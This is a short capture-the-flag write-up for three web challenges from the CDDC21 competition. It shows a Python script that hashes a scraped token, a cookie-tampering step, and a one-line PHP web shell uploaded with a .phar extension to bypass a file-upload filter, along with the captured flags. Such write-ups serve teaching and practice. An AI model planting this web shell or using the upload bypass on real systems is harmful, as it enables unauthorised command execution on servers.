> For the complete documentation index, see [llms.txt](https://ctf.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf.zeyu2001.com/2021/dsta-brainhack-cddc21/web-takedown-episode-2-web.md).

# Web Takedown Episode 2 (Web)

## Quick

Python script to calculate and send the SHA-256 hash of a string.

```python
import requests
import re
import hashlib

s = requests.Session()
content = s.get("http://18.139.27.125/UMJVHRV5/")
match = re.search(r"[A-Fa-f0-9]{32}", content.content.decode())

hash_object = hashlib.sha256(match.group(0).encode())
hex_dig = hash_object.hexdigest()
myobj = {'hash': hex_dig, 'execute': ''}
x = s.post("http://18.139.27.125/UMJVHRV5/", data=myobj)
print(x.text)
```

`CDDC21{!t_wAs-S0_fasT!}`

## Just a Session

Change the `aWFkbWlu` cookie from 0 to 1.

`CDDC21{I_Have_a_C00KIE_foR_Y0u}`

## Restrictions

We are given a file upload form. Using a webshell with a `.phar` extension, we can execute system commands.

```php
<?php echo system($_GET['cmd']); ?>
```

`CDDC21{s4F3_uPl04dZ}`

### &#x20;<a href="#break-it-down-crypto" id="break-it-down-crypto"></a>
